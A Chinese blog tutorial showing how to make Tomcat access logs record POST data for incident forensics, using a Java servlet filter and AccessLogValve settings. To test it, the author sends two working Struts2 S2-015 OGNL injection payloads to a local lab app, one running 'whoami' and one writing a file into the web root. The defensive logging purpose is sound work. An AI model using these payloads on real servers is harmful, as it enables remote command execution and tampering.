Tomcat日志如何记录POST数据

作者:xlx

原文地址:https://secvul.com/topics/1087.html


Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。

对于常使用web服务器的朋友肯定会了解,一般的web server有两部分日志:

一是运行中的日志,它主要记录运行的一些信息,尤其是一些异常错误日志信息
二是访问日志信息,它记录的访问的时间,IP,访问的资料等相关信息。

Tomcat 服务器是应急场景中常见的web服务器,其访问日志记录的信息对溯源攻击路径有着不可替代的作用,美中不足的是在默认情况下Tomcat日志是不记录POST参数的。如下图:

《Tomcat日志如何记录POST数据》

但是我们可以通过%{xxx}r xxx is an attribute in the ServletRequest 将filter过滤的参数set进一个attribute,然后利用%{xxx}r 放进tomcat server.xml中的value

在Eclipse中创建PostDataDumperFilter.java文件,复制如下代码进文件中:

import java.io.IOException;

import java.util.Enumeration;

import javax.servlet.Filter;

import javax.servlet.FilterChain;

import javax.servlet.FilterConfig;

import javax.servlet.ServletException;

import javax.servlet.ServletRequest;

import javax.servlet.ServletResponse;

import javax.servlet.http.HttpServletRequest;



public final class PostDataDumperFilter implements Filter {



private FilterConfig filterConfig = null;



@Override

public void destroy() {

this.filterConfig = null;

}



@Override

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)

throws IOException, ServletException {

HttpServletRequest req = (HttpServletRequest) request;

if(!req.getMethod().equals("GET")){

if (filterConfig == null) {

return;

}

Enumeration<String> names = request.getParameterNames();

StringBuffer output = new StringBuffer();

while (names.hasMoreElements()) {

String name = (String) names.nextElement();

output.append(name + "=");

String values[] = request.getParameterValues(name);

for (int i = 0; i < values.length; i++) {

if (i > 0) {

output.append(",");

}

output.append(values[i]);

}

if (names.hasMoreElements()) {

output.append("&");

}

}

req.setAttribute("postdata", output);

}

chain.doFilter(request, response);

}



@Override

public void init(FilterConfig filterConfig) throws ServletException {

this.filterConfig = filterConfig;

}

}

在web.xml文件中配置如下的filter过滤器。

<filter>

<filter-name>post-data-dumper-filter</filter-name>

<filter-class>PostDataDumperFilter</filter-class>

</filter>

<filter-mapping>

<filter-name>post-data-dumper-filter</filter-name>

<url-pattern>/*</url-pattern>

<dispatcher>REQUEST</dispatcher>

<dispatcher>FORWARD</dispatcher>

<dispatcher>INCLUDE</dispatcher>

</filter-mapping>

《Tomcat日志如何记录POST数据》

修改tomcat conf目录下的配置文件server.xml中的AccessLogValve这个Valve的配置为:

<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs" pattern="%h %l %u %t "%r" [%{postdata}r] %s [%{Content-Type}i] %{Referer}i %{User-Agent}i %T %b" prefix="localhost_access_log." suffix=".txt"/>

《Tomcat日志如何记录POST数据》

pattern属性有一系列的字符串参数组成,每个参数都有前缀”%“,目前支持下面这些参数:

%a – 远程IP地址

%A – 本地IP地址

%b – 发送的字节数(Bytes sent), 不包括HTTP headers的字节,如果为0则展示’-‘

%B – 发送的字节数(Bytes sent), 不包括HTTP headers的字节

%h – 远程主机名称(如果resolveHosts为false则展示IP)

%H – 请求协议

%l – 远程用户名,始终为’-‘(Remote logical username from identd)

%m – 请求的方法(GET, POST等)

%p – 接受请求的本地端口

%q – 查询字符串,如果存在,有一个前置的’?’

%r – 请求的第一行(包括请求方法和请求的URI)

%s – response的HTTP状态码(200,404等)

%S – 用户的session ID

%t – 日期和时间,Common Log Format格式

%u – 被认证的远程用户, 不存在则展示’-‘

%U – 请求URL路径

%v – 本地服务名

%D – 处理请求的时间,单位为毫秒

%T – 处理请求的时间,单位为秒

%I – 当前请求的线程名(can compare later with stacktraces)

 

另外,Access Log中也支持cookie,请求header,响应headers,Session或者其他在ServletRequest中的对象的信息。格式遵循apache语法:

%{xxx}i 请求headers的信息

%{xxx}o 响应headers的信息

%{xxx}c 请求cookie的信息

%{xxx}r xxx是ServletRequest的一个属性

%{xxx}s xxx是HttpSession的一个属性

 

接下来使用eclipse将其发布到tomcat中:

《Tomcat日志如何记录POST数据》

《Tomcat日志如何记录POST数据》

 

发布完成之后,在webapps\PostDataDumperFilter\WEB-INF\classes目录下,生成PostDataDumperFilter.class文件。

《Tomcat日志如何记录POST数据》

webapps\PostDataDumperFilter\WEB-INF\lib目录下生成一个servlet-api.jar的文件

《Tomcat日志如何记录POST数据》

接下来将需要积累POST数据包的S2-015.war项目放入tomcat中的webapps目录下,开启tomcat,刷新即可生成S2-015目录,项目发布成功。

《Tomcat日志如何记录POST数据》

将PostDataDumperFilter.class放入webapps\S2-015\WEB-INF\classes目录下

《Tomcat日志如何记录POST数据》

Web.xml文件中添加filter过滤器。

<filter>

<filter-name>post-data-dumper-filter</filter-name>

<filter-class>PostDataDumperFilter</filter-class>

</filter>

<filter-mapping>

<filter-name>post-data-dumper-filter</filter-name>

<url-pattern>/*</url-pattern>

<dispatcher>REQUEST</dispatcher>

<dispatcher>FORWARD</dispatcher>

<dispatcher>INCLUDE</dispatcher>

</filter-mapping>

《Tomcat日志如何记录POST数据》

使用K8工具执行whoami命令进行测试

《Tomcat日志如何记录POST数据》

抓取并查看数据包,可以看到提交的POST数据包如下:

POST /S2-015/welcome.action HTTP/1.0

Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)

Host: 127.0.0.1:8080

Content-Length: 627





redirect:${%23req%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletReq%27%2b%27uest%27),%23s%3dnew%20java.util.Scanner((new%20java.lang.ProcessBuilder(%27whoami%27.toString().split(%27\\s%27))).start().getInputStream()).useDelimiter(%27\\AAAA%27),%23str%3d%23s.hasNext()?%23s.next():%27%27,%23resp%3d%23context.get(%27co%27%2b%27m.open%27%2b%27symphony.xwo%27%2b%27rk2.disp%27%2b%27atcher.HttpSer%27%2b%27vletRes%27%2b%27ponse%27),%23resp.setCharacterEncoding(%27UTF-8%27),%23resp.getWriter().println(%23str),%23resp.getWriter().flush(),%23resp.getWriter().close()}

《Tomcat日志如何记录POST数据》

《Tomcat日志如何记录POST数据》

查看tomcat日志中成功记录POST数据包,如下图。

《Tomcat日志如何记录POST数据》

测试文件上传

《Tomcat日志如何记录POST数据》

抓取的POST数据包如下:

POST /S2-015/welcome.action HTTP/1.0

Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; MAXTHON 2.0)

Host: 127.0.0.1:8080

Content-Length: 513





redirect:${%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.getWriter().print(%22oko%22),%23res.getWriter().print(%22kok%22),%23res.getWriter().flush(),%23res.getWriter().close(),%23p%3d(%23req.getRealPath(%22%2F%22)%2b%22test.txt%22).replaceAll(%22\\\\%22, %22/%22),new+java.io.BufferedWriter(new+java.io.FileWriter(%23p)).append(%23req.getParameter(%22c%22)).close()}&c=Struts2+Exploit+Test

《Tomcat日志如何记录POST数据》

日志成功记录提交的POST数据。

《Tomcat日志如何记录POST数据》

点赞

发表评论